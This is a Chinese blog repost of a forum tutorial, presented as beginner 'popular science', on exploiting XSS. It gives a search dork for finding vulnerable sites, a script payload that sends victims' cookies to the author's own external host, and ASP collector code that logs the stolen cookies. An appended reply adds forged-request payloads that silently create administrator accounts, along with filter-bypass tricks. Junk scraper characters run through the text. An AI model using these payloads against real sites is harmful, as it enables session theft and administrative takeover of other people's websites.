前天贴吧一位朋友发了个后台XSS利用的帖子,大家就一起讨论了讨论,原帖为:
% @3 H4 P5 V: `6 e8 z( Z& [- W" q6 z% u- {4 M& G! `
http://tieba.baidu.com/f?kz=1069007239
' Q3 B% I" F& Z4 _3 G' q2 u: ?) f! {( |# }# }
这个帖子说的只是一个思路,不是很详细,并且说的是利用后台XSS挂马的情况,但是其实在后台挂马一般是不会牵扯到XSS的,只是一个过滤不过滤转换不转换的问题,比如很多带编辑器的后台,都是不过滤不转换在文章中的html代码的,比如eweb,你可以直接编辑发表文章的时候的html代码,这就为挂马、盗cookie提供了很多机会。5 X2 z3 r6 N- f9 x% d- |
( W1 g- w) b% X6 C但是,我想说的是,即使是挂马、盗cookie,也是不会使用location这种手法的,因为这样太明显了,一般都是使用普通挂马的手法的,比如iframe、JS等等。- {4 @$ y# R: G
. S( J6 e) A0 K" `我在上边的帖子中说作者讲的不是很详细,希望出一个详细点的利用教程,于是今天又一位朋友就发了一个详细些的文章,我这里就发大博客里,让更多需要的朋友看到这篇文章。
5 a f: E8 f; i7 h' \) t. z2 V
这个文章是对XSS的一个很简单的利用,原理很简单,主要用于科普,只是想让朋友们知道,XSS并不是简单的弹个框框玩那么简单的,是有很多利用价值的,在国外,XSS已经被列为网站杀手之一,包括国内的很多大站,大家都把心思放到了防范SQL注入上,相应的对XSS的防范就很少,这也是XSS总是能成功的原因之一。
+ d0 g$ V/ M4 r% h
+ y$ V% |0 Q5 J. S. F5 j1 w- v. t* U好了,废话不多说了,一起来看文章吧。
2 j" n: L* q% [3 Q
5 B! F* H4 Q2 N4 {; c-------------------------------------------------------------------! [2 A. ^- ~* R6 C
0 E% R! x% b1 \5 W2 M; T2 x2 g
首先要找到一个有XXS的站,这里就不整什么大站了,谷歌一下inurl:'Product.asp?BigClassName',搜出来的命中率也比较高。随便找一个,先<script>alert('xxs')</script>一下。呵呵,框框出来了。# z) S9 i/ j5 {, {9 A
' F* z0 T) y/ i0 P
) ?0 f+ q6 B! j3 h1 N
' p+ h- q. Y$ T$ T再看看自己的Cookie吧,把alert里面的内容换成document.cookie就可以了,如图:( C$ o% q. Q/ P( ~3 u/ Z" e
. m& q1 i! F% L, w
6 ^% A* k6 R4 d! L" p4 H0 X" a/ b! e7 c2 Z# R8 T! L
这里就是要把弹出来框框里的东西收集到我们的记事本里。这里,要玩这个步骤就需要一个你自己的站点,具体思路就是* V( F7 O1 E6 g2 [ y5 ^
1:让目标访问已跨站的网址,然后这个网址执行脚本9 c6 j1 u, o' O* B
2:然后跳转到你已经写好专门用来收集Cookie的网址/ C* V: v/ o5 i9 A. k& {3 l
, @( G/ N3 @( o% P4 o
具体实现方法:
' ~4 z& m7 n: I0 y先构造语句<script>window.open('http://dlgyi.rrvv.net/cookie.asp?msg='+document.cookie)</script>. b1 {4 A3 B9 v3 ?/ o! I$ N
这句话意思是打开一个新的窗口,访问http://dlgyi.rrvv.net/cookie.asp这个网址,并且通过msg传递一个变量,这里的变量就是我们要收集的cookie了。7 G" ^/ D |# v* ^, x
3 F( V% a& I- z7 O0 T: g这里需要自己写一个页面,也就是收集对方发过来cookie的页面,代码是这样的:( K6 G: b9 O* X; ^4 p
3 P0 ~. w6 _) g7 |4 {
<html>( X; I9 I6 y7 p8 ~7 B( |( V
<title>xx</title>
0 U- ~5 d q' ^<body>
' W1 Q$ }" t, P, x0 N9 p z. e<%3 |' @% m2 k& [
testfile = Server.MapPath("code.txt") //先构造一个路径,也就是取网站根目录,创造一个在根目录下的code.txt路径,保存在testfile中
' L5 P. x( \* ^& [9 |8 rmsg = Request("msg") //获取提交过来的msg变量,也就是cookie值
$ n3 A0 Y/ m6 A# B' O9 gset fs = server.CreateObject("scripting.filesystemobject")创建一个fs对象
! d3 P" i0 _8 [1 u1 F" U2 Cset thisfile = fs.OpenTextFile(testfile,8,True,0)3 q: V% | {7 P% Q% e" M5 N
thisfile.WriteLine(""&msg&"")//像code.txt中写入获取来的cookie
! i: \/ o& N" T" xthisfile.close //关闭
1 w- E: [, Z; U+ o: x1 g% Dset fs = nothing! _! V/ h# H+ y! }# d5 l9 t. l
%>
7 i' F+ R t- r1 U2 x</body>& H; u4 p& ]4 m' H" \3 ?
</html>
$ z% H7 R$ o( j8 g* u
, z8 @, q8 h$ e7 V/ V5 W然后保存,放在你自己服务器上,如果有人点击构造好的XXS页面,就会自动在你网站的根目录生成一个文本:
7 Y0 R$ R- o" H4 h7 s6 B5 _/ c5 D& S4 G. e9 [( |' _
6 {5 z& K) E9 e6 y& ?- W
9 B j8 f# P# Q; |+ A% |# o# \' j+ C- E% M* _/ I
拿出来看看,呵呵,Cookie到手:7 o: l- r/ U9 R! z5 b3 g. W
8 e' c3 t- G- i' x
+ R5 O- Z) }0 U' [. ?+ O7 V# C( h/ o7 [$ v
本文只是抛砖引玉,而且没有多大的实战价值,一来很多网站都过滤掉了+号这个字符连接符,二来稍大点的站,也不会存在如此的XXS,本文旨在给新手一个练习的向导,毕竟不可能谁一开始学习就可以RI掉大站,从小站开始练手,一起进步。话说咱也是新手O(∩_∩)O~
5 B$ J8 ~8 ^# h1 s0 A
- e7 t+ v/ j& SPS:一点小提示,如果提交<script>alert('xxs')</script>网站没有反应时,不要立刻就点X。你可以鼠标右击,查看一下网站的源码,看看网站到底过滤掉了什么字符,通过编码啊神马的发挥下智慧,绕过过滤。只要出现小框框,咱就胜利了。( Z9 U8 `! \( a
" w+ f, A. `% S9 p" m7 B' W; O5 ]& _
-------------------------------------------------------------------
0 Z9 w' _; Y8 d2 u- S) K$ ?& `! C) _5 V+ }1 N2 C
下面是我对这个帖子的回复,也一起贴过来吧:8 q+ }; \. v1 \8 x
' w4 w' J% o0 a2 [; o( ?
说实话,像这种后台XSS其实作用不大的,一般的小站你拿到cookie也没什么利用价值,大点的站的话,或许可以用cookie盗点装备什么的,但那牵扯的多了,不过对于普通脚本小子来说,日站的时候除非毫无办法了还会想到XSS的,不过日站时候的XSS利用方法跟这篇文章里讲的差不多的,可以借鉴一下。, D2 L" ]! Z5 p* z! h S1 H, |
c! X; \* S r C% h2 R
但是,这里的文章讲的是针对已经进入后台、拿shell无望又想多获得点东西的情况,说它鸡肋的原因是,你知道的,现在大部分站都是cookie+session的,并且一般用户名和密码不会直接放到cookie里了,这是它鸡肋的原因。
- m; o3 [# H1 j) c, u8 y) Z再者,日站的时候盗cookie一般是想进后台,但是如果遇到网上有源码的情况的话,还可以进一步利用,比如添加个管理员什么的。
8 ?* H5 @& r' Y% \2 }, |
$ q( ?/ C" e6 e$ c) R在文章的最后,顺便贴上一般XSS的利用思路,也不是原创,原文链接:6 H m% t1 }8 n5 L# q! p F
8 V @" ]( w* X9 Z& d% c* ?http://user.qzone.qq.com/673116767/blog/1252452536
3 I5 U, k8 n; n8 c b# q7 R! }+ f" v. J- Z/ k, o
一般发现一个xss漏洞后要做的基本上就是这些:6 V" c' Q% c) [1 H6 l/ i9 ?) U! M. M
2 \* ]. y. `2 }" r
1. 伪造请求 使用$_REQUEST或$_GET7 F/ v: E* g8 J
% e/ g' r/ `1 y1 U( x
首先我们要找找该网站使用的程序是不是在网上能找到源码,如果能找到源码的话,就去分析后台管理员更改密码或者增加管理员的页面,然后分析管理员使用的是不是$_REQUEST接收参数,如果是的话,我们使用该XSS漏洞构造一个请求,比如前台发表留言中可以使用HTML代码,那么我们就嵌入一个IMG元素:
8 V' o* P- z! l) U<img src="/admin/admin_add.asp?name=xxx&psd=yyy" />1 \4 @4 ?( H7 S. S8 ^
当管理员登录管理后台后看到包含img的页面的时候,就伪造了一个增加后台管理员的请求,而该请求是由管理员发出的,所以顺利的增加了一个新的管理员。2 t& |) m% z y' i& l' b' ?5 D" \
) [; x2 l/ M' ]5 _! o4 Y如果是可视文本编辑器,可以尝试使用输入:% r1 c7 H K5 m' W% z& L
http://www.drvfan.com/xxx.jpg" onload="window.open('/admin/admin_add.asp?name=xxx&psd=yyy')- o- a" Z- e2 P4 U& X
这样最终会构造出:& ~+ ^! x& t% J& k) q( |
<img src="http://www.drvfan.com/xxx.jpg" onload="window.open('/admin/admin_add.asp?name=xxx&psd=yyy',0,0)" />& Y$ h5 g* `4 s6 l* m" B' t
总之要举一反三。) [- {. ^0 z! V% u) S+ |% C
5 ] q/ b& C& S
2. 伪造请求 使用$_POST2 s8 ?* r) u+ Q7 J
+ S2 {6 W, t2 N
当后台接收增加管理员或更改管理密码的变量时使用的是$_POST方式,那么第一种方法无效,我们视情况而定,如果没有过滤<script>,我们可以通过ajax方式来伪造请求,如:
' a$ h1 a" S* I- I: v, D<sc/*xss*/ript type="text/javascript">3 Q8 c( |6 F$ c
var aj = new ActiveXObject("MSXML2.XMLHTTP.3.0");/ K; v' s6 Q- q5 o
aj.open("POST", "/admin/admin_add.asp", false);
* g" j- ], _* V1 P2 [* h! V* evar postdata = 'name=xxx&psd=yyy';
* Y5 L1 Y0 ^; zaj.setRequestHeader("Content-Type","application/x-www-form-urlencoded");
# T8 k" V2 _' w+ qaj.send(postdata);9 Y+ ?$ j J# Z+ g3 {/ p
</scr/*xss*/ipt>: Z7 v6 B& C: ?: M, d
/*xss*/是HTML注释,用来绕过简单的对script代码块的过滤。: C0 ?) b7 F1 \- h
" T/ v3 @; L7 Y7 N3 h
3. 跨站伪造请求 使用$_GET 或 $_REQUEST. p9 \& \$ C& ]
5 Z a# w! X3 B% f; v: E
与第一种伪造请求的方式相似,但是第一种伪造请求是利用站内的xss漏洞进行的,而跨站伪造请求,是站外发起的,比如我在我的博客的首页放了这样一个图片* I) P4 ^/ v" H5 n- ^2 K* v
<img src="http://www.drvfan.com/admin/admin_add.asp?user=xxx&psd=yyy"/>8 U) j8 c2 C! |& z7 q
然后我跑到dvbbs上发帖子,“勾引”动网论坛的管理员来我的博客,如果动网论坛的管理员已经登录了他的管理后台,然后使用共享进程的浏览器(目前基于ie内核的myie,maxton等等还有firefox都是共享进程的)来访问我的博客,那么他的后台就会被加入一个用户。" j: M4 J% n6 s4 ]7 n; T
4 U: K& n$ }# H* P
4.跨站伪造请求 使用$_POST(0day)
1 t. @9 I8 O0 H ~& E0 P, U
w8 ]1 N- m- v& j如果入侵目标的管理后台使用的是$_POST方式来接受变量,那么我们无法在我们的网站跨站使用ajax的post方式提交数据过去,因为ajax是无法跨域的。" {( r) B* g) E' { U- z2 p" [
( k* A' t3 X! r9 j. I Z
但是我们可以在我们的网站放一个form,里面填写好数据,form的action为要利用的有漏洞的页面,然后当有人打开该页面的时候,我们就用js控制该form进行submit,ajax虽然不能跨域,但向域之外的地址提交form总是可以的。' L: M, ~. ?/ c& y
4 D8 s3 p3 S) L0 {
总之,第3,4种方法成功几率要小一些,因为我们要想办法让已经登录自身后台的管理员,使用共享session的浏览器访问我们的伪造请求的页面,有一点社会工程学的技术含量。
6 _, [6 ]8 U0 b3 e5 i6 \7 W! {- r4 s% b$ o
OK,该说的都说完了,Over。. `+ B; u' Z% ?( s8 b7 G
|